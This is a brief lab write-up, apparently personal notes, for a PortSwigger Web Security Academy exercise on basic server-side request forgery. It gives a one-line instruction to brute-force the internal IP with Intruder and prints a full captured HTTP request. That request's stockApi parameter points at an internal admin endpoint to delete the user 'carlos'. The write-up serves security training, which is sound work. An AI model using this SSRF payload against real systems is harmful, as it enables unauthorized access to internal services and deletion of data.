Lab: Basic SSRF against another back-end system

https://portswigger.net/web-security/learning-paths/server-side-vulnerabilities-apprentice/ssrf-apprentice/ssrf/lab-basic-ssrf-against-backend-system

Send request to intruder and interate above the last unit

POST /product/stock HTTP/2
Host: 0a8d0030032fed9b81cb4d6000fb00a8.web-security-academy.net
Cookie: session=CCTG4S4ozBGYmI1JpSRvb6IPNj0mwwPV
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: */*
Origin: https://0a8d0030032fed9b81cb4d6000fb00a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a8d0030032fed9b81cb4d6000fb00a8.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

stockApi=http://192.168.0.61:8080/admin/delete?username=carlos